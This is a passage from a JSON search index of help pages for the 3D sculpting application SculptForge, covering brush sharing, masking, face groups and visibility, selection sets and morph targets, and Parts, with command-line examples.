(2.5 GB, works without a graphics card). In AI provider, choose OpenAI-compatible (OpenAI, Ollama, LM Studio...). Click Ollama (or LM Studio) to fill in the local endpoint. Click Find models. SculptForge checks the connection, shows \"Connected\" with the number of installed models, and lets you pick one from the Model list. Click Save settings. The Run a model on this computer section in the panel shows the install steps for your operating system. The model needs about 4 GB of free memory; expect 10-20 seconds per brush on a laptop CPU and a few seconds with a GPU. The full walkthrough for Windows, macOS, Linux and LM Studio is in docs/local-ai.md."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"your-brush-library","h":"Your brush library","t":"Every brush you create or refine in Brush Lab is saved to your brush library automatically, a moment after your last change (slider edits save when you release the slider). The library loads at every start, in the app, in sculptforge-cli and in the Python module, so your brushes are always there. The library is a folder of .sfbrush files in the SculptForge settings folder: System Brush library Linux ~/.local/share/SculptForge/SculptForge/brushes macOS ~/Library/Application Support/SculptForge/SculptForge/brushes Windows %APPDATA%\\SculptForge\\SculptForge\\brushes The Custom brushes list in Sculpt > Brush, with its right-click menu"},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"the-custom-brushes-list","h":"The Custom brushes list","t":"Sculpt > Brush lists every custom brush under Custom brushes. A small tag after a name says where the brush comes from when it isn't simply yours or built in: Tag Meaning (none) A built-in brush, or a brush in your library yours Your version, which replaces a built-in or studio brush of the same name studio From a shared studio folder (read-only) gallery Installed from the community gallery (kept in your library) project Came with the open project and isn't in your library unsaved Made this session (for example picked from the picker's Library section, or loaded by a script) and not in your library Hover a brush for its description, origin and file. Right-click it for: Copy brush code: one line of text to share (see below). Save .sfbrush...: write the brush to a file. Rename...: rename it. Renaming a built-in or studio brush saves a renamed copy and keeps the original. Delete...: remove it from your library, after a confirmation. Only brushes in your own library can be deleted. If your brush replaced a built-in or studio brush, that one is used again. Reveal in folder: open the folder that holds its file. The same menu is available when you right-click a custom brush in the brush picker. When brushes share a name, your library wins over studio folders, and studio folders win over built-in brushes."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brush-codes","h":"Brush codes","t":"A brush code is the whole recipe in one line of text, starting with sfbrush1:. Paste it into a chat, an email, an issue or a forum post. Copy: right-click a custom brush (in Sculpt > Brush > Custom brushes or the brush picker) and choose Copy brush code. Paste: copy a code, then press Ctrl+V over the viewport, click Paste brush in Brush Lab, or choose Edit > Paste brush. The brush is installed in your library and becomes active. Pasting also accepts the text of a .sfbrush file. Codes are validated like files: values outside their range are clamped, and anything that isn't a recipe is refused."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brush-files-sfbrush","h":"Brush files (.sfbrush)","t":"A .sfbrush file is a small JSON file holding one recipe. Save: right-click the brush and choose Save .sfbrush..., or click Save .sfbrush... under the recipe sliders. Install: click Install .sfbrush... under the recipe sliders, or drop the file onto the SculptForge window. The brush goes into your library. Library folder: .sfbrush files in the Brushes folder of your Library library (Documents/SculptForge by default) appear in the Library section of the brush picker and in Library's Brush tab. Picking one loads it for the session. The file format and every key are documented in docs/brushes.md."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"studio-brush-folders","h":"Studio brush folders","t":"A studio can share brushes read-only from network folders. Set the environment variable SCULPTFORGE_BRUSH_PATH to one or more folders (separated by : on Linux and macOS, ; on Windows). Every .sfbrush file in them loads at start-up, tagged studio. Artists can't change or delete studio brushes; if they edit one, their own version is saved in their library under the same name. The Rez package adds the folder in SCULPTFORGE_STUDIO_BRUSHES to this path. See For studios. Projects (.sfproj) also store the brushes they use, so a scene opens with its brushes on any machine."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"the-community-gallery","h":"The community gallery","t":"The community gallery is a public collection of free (CC0) brushes shared by other sculptors. Click Community brushes at the top of Sculpt > Brush. Search by name or description (scales, skin, stone...), or pick a tag from the All tags list. Click Install under a brush. It is downloaded, checked against its SHA-256 checksum, installed in your library and made active. Installed brushes show Installed. The Community brushes window The gallery is cached, so the window still opens offline (with a notice) showing the brushes from your last visit. Refresh fetches the latest list. Share yours opens the gallery's page on GitHub, where you can submit a brush you saved as .sfbrush with a pull request. You can also browse the gallery on the website at sculptforge.app/brushes.html. Studios can mirror the gallery or run their own. Enter a URL or folder in the Gallery field at the bottom of the window and click Use, or set SCULPTFORGE_BRUSH_GALLERY (which then takes precedence and hides the field). See docs/brushes.md for the gallery format."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"brushes-from-scripts","h":"Brushes from scripts","t":"Every brush operation is also a command, for sculptforge-cli, the console, Python and AI agents: Command What it does brush_ai prompt=... Design a brush from a description (optional provider, endpoint, model). brush_create name=... depth=... Create or update a brush from recipe values. brush_list / brush_library List custom brushes (with their source and file, and the library folders). brush_save path=... Save a brush as .sfbrush (name defaults to the active brush). brush_load path=... Load a .sfbrush file for this session only. brush_install path=... / code=... / json=... Install a brush into your library and make it active. brush_code Print a brush as a brush code. brush_rename to=... / brush_delete name=... Rename or delete a brush. brush_gallery_search / brush_gallery_install name=... Search and install from the community gallery. # Design a brush for free and save it for the team sculptforge-cli -c 'brush_ai prompt=\"weathered stone edges\"; brush_save path=stone.sfbrush' # Install a gallery brush and try it on a sphere sculptforge-cli -c 'brush_gallery_install name=\"Snake Scales\"; new_sphere subdivisions=6; stroke points=\"-0.5,0,0 0.5,0.2,0\"' See Scripting and automation for running commands."},{"p":"brush-lab.html","c":"Brush Lab and sharing brushes","a":"see-also","h":"See also","t":"Sculpting and brushes: built-in brushes, strokes, alphas and pressure For studios: shared brush folders and pipelines Troubleshooting: AI provider errors and rate limits"},{"p":"masking.html","c":"Masking","a":"","h":"Masking","t":"A mask protects part of the model from change. Masked areas are drawn darker, and every brush, the Paint brush and colour fills leave them alone. This chapter covers painting masks with Ctrl, masking with a lasso or rectangle, the background gestures, and the Tool > Masking controls for inverting, blurring, growing and building masks from cavities, face groups or the mesh border. A mask painted on the lion's mane, with the Masking sub-palette"},{"p":"masking.html","c":"Masking","a":"how-masks-work","h":"How masks work","t":"A mask is a value per vertex from 0 (free) to 1 (fully masked). Values in between give partial protection, so a soft mask edge blends sculpting into the protected area. Masks belong to a Part: each Part has its own mask. Masks are saved in projects (.sfproj) and in Bridge files, so they survive a round trip through the Bridge. Masking is not a layer and isn't affected by sculpt layers: a mask stroke always works on the model itself. Mask strokes and mask commands are undoable like any other change. To see the mask, keep Mask on in the right shelf. The same toggle is Show mask in Tool > Masking, and Show Mask in the Render palette. Turning it off hides the darkening without clearing the mask: it still protects the surface, the status bar says so, and turning it on again shows the same mask. Clear Mask (Ctrl+Shift+A) is what removes it."},{"p":"masking.html","c":"Masking","a":"paint-a-mask","h":"Paint a mask","t":"Hold Ctrl and drag on the model. The area under the brush becomes masked. Hold Ctrl+Alt and drag to erase the mask. Mask strokes use the current Draw Size, symmetry and, with a pen, pressure (when Pressure > Strength is on). How much each stroke masks is set by Mask Strength in Tool > Masking (0.01 to 1, default 1): lower values build up a soft, partial mask over several strokes. Mask strokes always use a round tip, whatever alpha you have selected, and a Drag Stamp stroke masks with dabs along the path instead of one stamp. On macOS, Cmd works wherever this guide says Ctrl."},{"p":"masking.html","c":"Masking","a":"mask-with-a-lasso-or-rectangle","h":"Mask with a lasso or rectangle","t":"To mask a large or sharply outlined area in one go, pick a mask selection shape. Holding Ctrl turns the brush on the left shelf into the mask brush: with Ctrl held, click the brush tile (or press B) to pick Mask Pen, Mask Lasso or Mask Rectangle, or click the stroke tile to pick the stroke (Dots, Lasso or Rect). The same shapes sit at the top of Tool > Masking: Shape Ctrl + drag Mask Pen (default) Paints the mask with the brush, as described above. Mask Lasso Draws a free-hand outline that closes back to where you started. Everything inside is masked. Mask Rectangle Draws a rectangle. Everything inside is masked. With Mask Lasso or Mask Rectangle: Hold Ctrl and drag around the area. The drag can start on the model or on the background. The shape is drawn as you drag, white with a dark veil. Let go to mask what's inside. Hold Ctrl+Alt instead to unmask what's inside (the shape is drawn blue). You can press or release Alt while dragging; what counts is whether it is held when you let go. The selection works in screen space, like the visibility rectangle: a vertex counts as inside when it falls inside the shape as you see it, including vertices on the far side of the model. Hidden parts are left alone. With symmetry on (X, Y, Z on the top shelf), the mirror image of what's inside is masked too, as a mask stroke mirrors. A shape that covers none of the model clears the mask instead. Mask Strength sets how much a selection masks or unmasks, and each selection is one undo step. A lasso that crosses itself leaves out the areas it encloses twice. Turn on Front faces only (under the shape buttons, shown for Mask Lasso and Mask Rectangle) to mask only what faces you: the far side of the model and folds turned away from you are left as they are. It follows the mirror image too when symmetry is on. The cursor turns into a small cross while Ctrl is held, since the brush size doesn't matter for a selection."},{"p":"masking.html","c":"Masking","a":"background-gestures","h":"Background gestures","t":"With Ctrl held, clicks and drags on the empty background act on the whole mask: Gesture Effect Ctrl + click the background Invert the mask Ctrl + drag on the background Draw a mask rectangle (Mask Pen; Mask Lasso draws a lasso): what it covers is masked, mirrored by the symmetry. A shape that covers none of the model clears the mask. Ctrl + drag on the background, with nothing masked Zoom the view in the SculptForge style (the default); with the Classic sculpting keys it draws the mask rectangle above (see Keyboard and mouse) On the model, a Ctrl + click that doesn't drag works on the mask's edges, whichever mask shape is picked: Gesture Effect Ctrl + click the model Blur the mask (once per click; same as Blur) Ctrl+Alt + click the model Sharpen the mask (same as Sharpen)"},{"p":"masking.html","c":"Masking","a":"mask-keys","h":"Mask keys","t":"Key Effect Ctrl+A Mask All Ctrl+Shift+A Clear Mask Ctrl+I Invert Mask Ctrl+H Show or hide the mask's shading (View Mask) Ctrl+W Group Masked: the masked part becomes a new face group and the mask is cleared (see Face Groups) A drag starts after the cursor moves a few pixels, so a slightly shaky click still inverts. With Mask Lasso or Mask Rectangle, a Ctrl + drag on the background draws that shape; to clear the mask, draw it away from the model, or use Clear."},{"p":"masking.html","c":"Masking","a":"the-masking-sub-palette","h":"The Masking sub-palette","t":"Open Tool > Masking (the Tool palette is in the right tray by default). Every button is one undo step. Control What it does Command Show mask Darken masked areas in the viewport. Mask Pen / Mask Lasso / Mask Rectangle What Ctrl + drag does: paint with the brush, or mask inside a lasso or rectangle. mask_lasso / mask_rect Mask Strength How much each mask stroke or selection masks (0.01 to 1), and the mask value By cavity gives the deepest cavities. Clear Unmask everything. mask_clear Invert Masked becomes free and free becomes masked. mask_invert All Mask every visible vertex. mask_all Blur Soften the mask edges by averaging with neighbouring vertices. mask_blur Sharpen Tighten soft edges, pushing values toward fully masked or free. mask_sharpen Grow Expand the masked region by one ring of edges per pass. mask_grow Shrink Contract the masked region by one ring of edges per pass. mask_shrink passes How many times Blur, Sharpen, Grow and Shrink run (1 to 20 here, default 1). iterations= By cavity Mask concave areas (creases, folds, pores), replacing the current mask. mask_by_cavity threshold How concave a spot must be for By cavity (-0.2 to 0.5, default 0.02). 0 masks anything concave; higher values keep only deep creases. threshold= By face group Mask one face group, replacing the current mask. The number field next to it is the face group id. mask_by_facegroup By border Mask the open edges of the mesh (edges with only one face) and the rings of edges inside them, replacing the current mask, so sculpting keeps the border in place. Uses Mask Strength. A closed mesh has no open edges, and the status bar says so. mask_border Rings How wide By border masks, in rings of edges from the border (1 to 20, default 2; 1 masks the border vertices only). rings= Face Group borders By border also masks where face groups meet. facegroups=true Soft By border fades the mask from the border towards the innermost ring. soft=true Mask operations only change visible parts of the model; hidden parts keep their mask. Clear is the exception and frees everything."},{"p":"masking.html","c":"Masking","a":"protect-detail-while-smoothing","h":"Protect detail while smoothing","t":"Click By cavity to mask the creases and pores. Smooth with Shift. The cavities keep their sharpness while the surface between them relaxes. Ctrl + drag on the background to clear the mask when you're done. Raise threshold if too much is masked; lower Mask Strength for partial protection."},{"p":"masking.html","c":"Masking","a":"sculpt-one-part-only","h":"Sculpt one part only","t":"Paint a mask over the part you want to work on with Ctrl. Ctrl + click the background to invert it. Now everything except that part is protected. Sculpt freely; strokes that cross the edge stop at the mask."},{"p":"masking.html","c":"Masking","a":"mask-a-whole-face-group","h":"Mask a whole face group","t":"The quickest way works without knowing the group's number: Ctrl+Shift + click the group to isolate it (see Face Groups and visibility). Click All: only visible vertices are masked. Ctrl+Shift + click the background to show everything again. The mask stays. By face group masks a group by its id. The viewport doesn't show ids, but the console does: isolate the group, then open the console (`) and read the isolate_face group group=N line. Enter that number in the field next to By face group and click it."},{"p":"masking.html","c":"Masking","a":"sculpt-without-breaking-the-border","h":"Sculpt without breaking the border","t":"A plane, a cloth panel or a part cut from a larger model has an open border that should stay where it is, for example to keep it lined up with the piece it joins: Set Rings to how wide the protected strip should be. Click By border. The open edges and the rings inside them are masked. Sculpt freely; the border doesn't move. Tick Soft first for a gradual transition into the sculpted area. Tick Face Group borders to also protect the seams between face groups. This is Blender's Mask from mesh boundary (and, with face sets, Mask from face set boundary)."},{"p":"masking.html","c":"Masking","a":"a-soft-edged-mask","h":"A soft-edged mask","t":"Paint the mask, then click Blur a few times (or set passes to 3-5 first). Sharpen does the opposite."},{"p":"masking.html","c":"Masking","a":"turn-a-mask-into-a-face-group","h":"Turn a mask into a face group","t":"Click From mask in Tool > Face Groups: the masked triangles become a new face group. See Face Groups and visibility."},{"p":"masking.html","c":"Masking","a":"masks-and-painting","h":"Masks and painting","t":"Vertex Paint respects the mask too: the Paint brush, Rgb strokes and Fill leave masked areas alone, so you can mask an area and fill the rest with a colour. See Vertex Paint and materials."},{"p":"masking.html","c":"Masking","a":"masking-from-a-script","h":"Masking from a script","t":"Command Options mask_clear, mask_all, mask_invert mask_blur, mask_sharpen, mask_grow, mask_shrink iterations (1-100, default 1) mask_by_cavity strength (0-1, default 1), threshold (-1 to 1, default 0.02) mask_by_facegroup group (required), add=true to add to the current mask instead of replacing it mask_border rings (1-20, default 1), facegroups=true to also mask face group borders, soft=true to fade inwards, strength (0-1, default 1), add=true to add to the current mask mask_rect x0 y0 x1 y1 (-1 to 1, y up), unmask, strength (0-1, default 1), optional view_proj matrix; without a view the rectangle spans the mesh seen from the front mask_lasso points (required): the outline as \"x0 y0 x1 y1 ...\", at least 3 points in the same -1 to 1 space; unmask, strength, view_proj as for mask_rect sculptforge-cli -c 'open path=head.obj; mask_by_cavity threshold=0.05; mask_blur iterations=2; save_project path=head.sfproj' Not yet: masking by topology, by normals or by alpha, Mask By Smoothness, and MaskCurve are not available yet."},{"p":"masking.html","c":"Masking","a":"see-also","h":"See also","t":"Face Groups and visibility: groups, isolating and hiding parts Sculpting and brushes: modifier keys and brush settings Vertex Paint and materials: fills that respect the mask"},{"p":"face-groups.html","c":"Face Groups and visibility","a":"","h":"Face Groups and visibility","t":"Face Groups (experienced sculptors: Face groups) divide a Part's surface into named regions, shown as flat colours when you turn them on. You use them to hide and isolate parts of a model so you can reach what you want to sculpt, to build masks, and to split a model into Parts. This chapter covers creating face groups, the Ctrl+Shift visibility gestures and the Tool > Face Groups and Tool > Visibility controls. Face Groups shown as colours, with the Face Groups sub-palette"},{"p":"face-groups.html","c":"Face Groups and visibility","a":"show-face-groups","h":"Show face groups","t":"Click Groups in the right shelf to colour each face group of the active Part. The same toggle is Show face groups in Tool > Face Groups and Show Face Groups in the View menu. The grouping buttons turn the colours on for you, so you see the result straight away. The number next to Show face groups is how many face groups are visible right now. A mesh without face groups is one group. Face Groups come from: the grouping buttons below; OBJ files: each g group becomes a face group (SculptForge also writes face groups as g groups when it exports OBJ); Bridge files and SculptForge projects, which keep face groups."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"create-face-groups","h":"Create face groups","t":"Open Tool > Face Groups. Grouping works on the visible part of the Part only; hidden parts keep their groups. So you can isolate one part and regroup just that part. Control What it does Command By normals A new group wherever the surface turns more than the angle next to it (1 to 90 degrees, default 30). Each flat side of a box becomes its own group. facegroup_auto_by_normals By pieces One group per disconnected piece, such as separate eyes or buttons in one mesh. facegroup_by_connectivity From mask Masked triangles move into a new group. facegroup_from_mask Group by UVs One group per UV island: triangles that touch without a UV seam between them share a group. Needs UVs (Tool > Texture Map > Auto UV or an imported model's). facegroup_uv Merge visible Everything visible becomes one group. facegroup_merge_visible Clear groups Remove all face groups; the whole Part becomes one group again. facegroup_clear Each button is one undo step."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"group-a-region-you-painted","h":"Group a region you painted","t":"Paint a mask over the region with Ctrl (see Masking). Click From mask in Tool > Face Groups. Ctrl + drag on the background to clear the mask."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"hide-and-show-parts","h":"Hide and show parts","t":"Visibility is the main reason to have face groups: hide what is in the way, sculpt what's left, then show everything again. Hidden parts can't be sculpted, painted or masked, so hiding also protects them. All of the gestures use Ctrl+Shift in the viewport (Cmd+Shift on macOS): Gesture Effect Ctrl+Shift + click a face group, everything shown Isolate it: show only that group. Ctrl+Shift + click a face group, something hidden Hide that group. Ctrl+Shift + click the isolated group again Invert the visibility: show everything else instead. Ctrl+Shift+Alt + click a face group Hide that group. Ctrl+Shift + click the background Show everything. Ctrl+Shift + drag a rectangle on the background, around nothing Reverse the visibility. Ctrl+Shift + drag Keep what's inside the rectangle (or lasso), hide the rest. The shape is drawn green. Ctrl+Shift+Alt + drag Hide what's inside the rectangle (or lasso). The shape is drawn red. Whether a drag draws a rectangle or a lasso is set by Select Rectangle and Select Lasso at the top of Tool > Visibility (Select Rectangle by default), or, with Ctrl+Shift held: the left shelf then shows the selection brush, and clicking the brush tile (or pressing B) or the stroke tile picks Select Rectangle or Select Lasso. With Select Lasso, the drag traces a free-hand outline that closes back to where you started; drag around a part as if you were drawing round it with a pen. The drag can start on the model or on the background. Both shapes work in screen space: a triangle counts as inside when its centre falls inside the shape as you see it, including triangles on the far side of the model. A lasso that crosses itself leaves out the areas it encloses twice. You can press or release Alt while dragging; what counts is whether it is held when you let go. With symmetry on (X, Y, Z on the top shelf), the mirror image of the shape counts as inside too, as with the mask selections: keeping the left eye keeps the right one, and hiding one ear hides both (hide_rect / hide_lasso symmetry=x). SculptForge refuses a change that would hide everything. Every visibility change is one undo step, so Ctrl+Z brings back what you just hid."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"the-visibility-sub-palette","h":"The Visibility sub-palette","t":"Open Tool > Visibility: Control What it does Command Select Rectangle / Select Lasso The shape Ctrl+Shift + drag draws: a rectangle or a free-hand lasso. hide_rect / hide_lasso Show all Show every hidden part again. Available when something is hidden. show_all Invert visible Hide what is visible and show what is hidden. invert_visibility Delete hidden Permanently remove the hidden triangles from the mesh. Undoable. delete_hidden Delete hidden keeps every attribute of what remains (mask, vertex paint, face groups, UVs and sculpt layers). Use it to cut away parts of a scan or a generated model, or to remove the inside of a mesh after you isolated the outside."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"work-on-one-part-of-a-character","h":"Work on one part of a character","t":"Click By pieces (for a mesh made of separate parts) or By normals. Ctrl+Shift + click the part you want, for example the head. Sculpt. The rest of the body is hidden and can't be touched. Ctrl+Shift + click the background to show everything."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"clean-up-a-scan-or-a-generated-model","h":"Clean up a scan or a generated model","t":"Turn the model so the unwanted piece is on screen. Ctrl+Shift+Alt + drag a rectangle over it to hide it. For an awkward shape, pick Select Lasso in Tool > Visibility first and draw around it. Click Delete hidden in Tool > Visibility."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"split-a-model-into-parts","h":"Split a model into Parts","t":"Group the model, then click Split groups in Tool > Parts: each face group becomes its own Part. Split parts does the same by disconnected piece. See Parts."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"face-groups-and-other-tools","h":"Face Groups and other tools","t":"Masking: By face group in Tool > Masking masks one group (see Masking). Brushes and vertex paint skip hidden faces. Projects save face groups and what's hidden; Bridge and OBJ carry face groups in and out. Each Part has its own face groups and visibility. To show and hide whole Parts, use the eye icons and Solo in Tool > Parts."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"face-groups-from-a-script","h":"Face Groups from a script","t":"Command Options facegroup_auto_by_normals angle (1-180 degrees, default 30) facegroup_by_connectivity, facegroup_uv, facegroup_from_mask, facegroup_merge_visible, facegroup_clear isolate_facegroup, hide_facegroup group (required): the face group id show_all, invert_visibility, delete_hidden hide_rect x0 y0 x1 y1 (-1 to 1, y up), inside, optional view_proj matrix; without a view the rectangle spans the mesh seen from the front hide_lasso points (required): the outline as \"x0 y0 x1 y1 ...\", at least 3 points in the same -1 to 1 space; inside, view_proj as for hide_rect When you isolate or hide a group in the viewport, the console (`) shows the command with the group's id, for example isolate_facegroup group=3, which you can reuse in scripts. sculptforge-cli -c 'open path=robot.obj; face group_by_connectivity; part_split_groups; save_project path=robot.sfproj' Not yet: a face group paint brush, Group Front, face groups from UV islands or Vertex Paint, and face group-based crease edges are not available yet."},{"p":"face-groups.html","c":"Face Groups and visibility","a":"see-also","h":"See also","t":"Masking: build masks from face groups and face groups from masks Parts: split by groups, show, hide and solo whole Parts Keyboard and mouse reference"},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"","h":"Selection sets and morph targets","t":"A selection set is a named snapshot of a Part's mask, face groups, vertex paint, visibility (which faces are hidden), UVs and shape. Store as many as you like, bring any of them back later, combine them, and use a stored shape as the target of the Morph brush. Sets belong to the Part, travel with the project, and work across its subdivision levels: store at one level, restore at any other."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"store-a-set","h":"Store a set","t":"Open Tool > Selection Sets. Type a name in the field next to Store (it suggests \"Set 1\", then \"Set 2\" and so on). Tick the channels the set should hold: Channel What it keeps Command name Mask The mask, soft edges included. mask Groups The face groups. facegroups Visibility Which faces are shown and which are hidden. visibility Vertex Paint The vertex colours. paint UVs The UV layout (only when the Part has UVs). uvs Shape The surface itself, as a morph target. morph Click Store. Storing again under the same name replaces that set. From Visible is the quick way: it stores the faces shown right now as a set called Visible (then Visible 2, ...). Isolate a part with the Ctrl+Shift gestures (Face Groups and visibility), click From Visible, and you can get back to exactly that view whenever you need it. There is no limit on the number of sets. They are kept compactly: masks, vertex paint and visibility store only the parts that differ from an empty mask, white paint and a fully shown Part, and face groups are run-length coded, so a mask on a few million vertices usually costs a few kilobytes. Shapes and UVs are stored as they are."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"restore-rename-and-delete","h":"Restore, rename and delete","t":"Select a set in the list (hover it to see its channels and the level it was stored at), then: Restore puts its channels back. The shape is not restored here: Morph to Set does that, so you can keep a set with a shape in it and still restore just its mask. Double-clicking a set restores it too. Rename edits its name; Delete removes it. The menu next to From Visible sets how Restore meets what you have now, for the mask and visibility: Mode Mask Visibility Replace The set's mask. The set's shown faces. Union Masked in either. Shown in either. Intersect Masked in both. Shown in both. Subtract Masked now but not in the set. Shown now but not in the set. Every store, restore, rename, delete and combine is one undo step. A set greyed out in the list no longer fits the Part: its topology changed since (a remesh, Dynamic topology, Delete hidden). Undo the change, or delete the set."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"combine-sets","h":"Combine sets","t":"Pick a second set in the menu under Restore, choose Union, Intersect or Subtract above, and click Combine: a new set (\"Head + Arms\", \"Head & Arms\" or \"Head - Arms\") holds the mask and visibility of the two combined that way. Your current mask and visibility are not touched until you restore it."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"subdivision-levels","h":"Subdivision levels","t":"A set remembers the level it was stored at, and restores at any level of the same Part: going down, each vertex and face takes the value of the matching one on the level above, as the levels themselves do; going up, masks and vertex paint are interpolated, face groups and visibility are inherited from the face they lie in, and UVs are interpolated across each face; a shape travels as its difference from that level's own surface, so the detail of the levels in between stays where it is. So you can store a mask at SDiv 1, sculpt at SDiv 5 and restore the mask there, or keep a high-resolution face group set and use it at the base cage. Sets survive Divide, Del Lower, Del Higher and Reconstruct Subdiv as long as the level they were stored at still exists."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"morph-targets","h":"Morph targets","t":"Store a set with Shape ticked to keep the surface as it is now. Then: Morph Target makes it the target of the Morph brush and picks that brush. Strokes pull the surface back toward the stored shape, as much as the brush's strength; Alt pushes away from it. The set's name shows [morph] in the list; Clear Morph Target turns it off. Morph to Set moves the whole surface toward the set's shape by Amount (1 = all the way, 0.5 = halfway, negative values push away), respecting the mask, as one undo step. Both work at any subdivision level, not only the one the shape was stored at, and with sculpt layers (the change goes into the active layer). Use them to undo a sculpting session locally, to blend between two versions of a form, or to keep a neutral pose while you sculpt an expression."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"projects-files-and-other-apps","h":"Projects, files and other apps","t":"Sets are saved in the project with each Part (older versions of SculptForge open such projects and leave the sets out). To move them between Parts, scenes or tools, use the commands: selection_sets_export path=head.sfsets # every set of the active Part (name=... for one) selection_sets_import path=head.sfsets # into the active Part A .sfsets file is a ZIP with a JSON manifest and one small binary file per set. Importing a set that was stored on a different mesh keeps it, but it shows greyed out and can't be restored until the Part has a level it fits. USD (export_usd) writes the sets of each Part inside its Mesh prim: the shown faces of each set as a GeomSubset (sculptforge_set0_visible), its face groups as a partition of GeomSubsets (sculptforge_set0_group7), and its mask and vertex paint as vertex primvars (primvars:sculptforge_set0_mask, ..._color), with the names in sculptforge:selectionSets. Houdini, Maya, Blender and Omniverse read these as ordinary face sets and primvars, and SculptForge turns them back into selection sets when it imports the file. UVs and shapes are not written to USD. OBJ, glTF / GLB, FBX, PLY and STL have no place for named selections, so sets are not written to them (OBJ still writes the current face groups as g groups). Export the sets to a .sfsets file alongside the model instead."},{"p":"selection-sets.html","c":"Selection sets and morph targets","a":"scripting","h":"Scripting","t":"Every button is a command, so scripts, sculptforge-cli, the MCP server and the AI assistant can use sets: Command What it does selection_set_store name=Head channels=mask,visibility Store (or replace) a set. channels takes mask, facegroups, paint, visibility, uvs, morph or all. selection_set_restore name=Head mode=union Restore; channels= restores some of them (add morph to restore the shape). selection_set_rename name=Head to=Face Rename. selection_set_delete name=Head Delete. selection_set_list json=true List the sets with their channels and levels. selection_set_combine a=Head b=Ears op=union into=HeadEars Combine two sets into a new one. selection_set_from_visible The quick set from the visible faces. selection_set_morph_target name=Rest Make a set the Morph brush's target (empty name: none). selection_set_morph name=Rest amount=0.5 Morph to Set. selection_sets_export / selection_sets_import .sfsets files. In Python (import sculptforge as sf), push and pull sets as NumPy arrays: doc.set_selection_set(\"Eyes\", mask=eye_mask, hidden=hidden_faces) # store from arrays (one undo step) doc.selection_sets # [{'name': 'Eyes', 'channels': [...], ...}] arrays = doc.selection_set(\"Eyes\") # {'mask': ..., 'hidden': ...} at this level sf.run(doc, \"selection_set_restore\", name=\"Eyes\") See Scripting and automation for running commands."},{"p":"parts.html","c":"Parts","a":"","h":"Parts","t":"A scene in SculptForge can hold several separate meshes, called Parts (experienced sculptors: Parts): a body, eyes, teeth, a helmet and a sword can each live in their own Part. This chapter covers the Parts list, selecting, adding, hiding, reordering, merging and splitting Parts, and how they travel through files."},{"p":"parts.html","c":"Parts","a":"how-parts-work","h":"How Parts work","t":"Only the active Part is sculpted, painted, masked or changed by a command. The others are drawn slightly darker and greyer so you can see which one you are working on. Each Part keeps its own mesh, mask, vertex paint, face groups, hidden faces, UVs and sculpt layers. Each Part has its own undo history. Ctrl+Z undoes the last change in the active Part, and switching Parts doesn't lose the history of the others. Adding, deleting, reordering, merging and splitting Parts are not undoable. Merges and deletes ask for confirmation first. The Parts list highlights the active Part. In the Classic layout the title strip also shows it and its place in the list, for example Part Helmet (2/5)."},{"p":"parts.html","c":"Parts","a":"the-parts-list","h":"The Parts list","t":"The list is in Tool > Parts, which is open in the right tray by default. The Parts sub-palette with several Parts, the active one highlighted Each row shows a small picture of the Part, its name, its triangle count and an eye. The pictures are drawn from the model the viewport already has on the graphics card, so they cost almost nothing even on very dense Parts, and they catch up a moment after you stop changing a Part (not during a stroke). To Do this Select a Part Click its row, or Alt+click it in the viewport; triple-click another Part in the viewport to select it and frame it Rename it Double-click the row (or right-click > Rename), type, press Enter Hide or show it Click the eye at the end of the row Duplicate or delete it Right-click the row > Duplicate (Ctrl+Shift+D) or Delete... See its vertex and triangle counts Point at the row for a moment The list shows six rows and scrolls when there are more. Names are kept unique: renaming a Part to a name that is already taken adds a number. Selecting a hidden Part shows it again, because you can't sculpt what you can't see."},{"p":"parts.html","c":"Parts","a":"select-a-part-in-the-viewport","h":"Select a Part in the viewport","t":"Hold Alt and click another Part on the canvas. It becomes the active one and the list scrolls to it. Alt+click only selects when you click a Part other than the active one and release without moving. If you drag instead, Alt keeps its usual meaning: an inverted stroke on the active Part, or a pan when you start off the model."},{"p":"parts.html","c":"Parts","a":"add-a-part","h":"Add a Part","t":"Click Append and choose: Sphere, Cube or Plane: a new primitive placed beside the visible model (to the right, on +X), sized to about a third of the largest visible Part. Insert on the model: choose a shape, then drag on the active Part's surface to add it there as a new face group (the drag sets its size and turns it). With Symmetry X, Y or Z on, a mirrored copy goes on the other side too, in the same undo step; a shape inserted right on a mirror plane isn't doubled. To insert your own mesh, choose Active Part's copy... and pick another Part (it stays as it is), or From file... and pick an .obj, .ply or .glb file; then drag as with the shapes. The mesh is centred, scaled so its largest side matches the drag, and stood on the surface along its own up (+Y) axis. Esc stops inserting. (Command: insert_mesh part= or insert_mesh file=.) From file...: a model (.obj, .fbx, .glb, .gltf, .ply, .stl, Bridge files, .usda, .usd, .usdz) or a project (.sfproj). A file with several objects adds one Part per object. The new Part becomes the active one. You can also add files as Parts from elsewhere: Import in the Tool palette header (or File > Import) adds a model file as a new Part. In the Library Tool tab, Shift+double-click a model, or right-click it and choose Append as Part. Tip: Duplicate (Ctrl+Shift+D, also in the command palette as Duplicate Part) copies the active Part with its layers and attributes, names it copy and puts it right under the original. Use it to keep a safe copy before a destructive step such as a remesh."},{"p":"parts.html","c":"Parts","a":"show-hide-and-solo","h":"Show, hide and solo","t":"The eye on each row shows or hides that Part. Solo shows only the active Part. Click it again to bring the others back. The Solo button on the right shelf does the same. X-Ray, next to Solo, shows the active Part through the others: the other Parts turn see-through and only their nearest surface shows. When only the 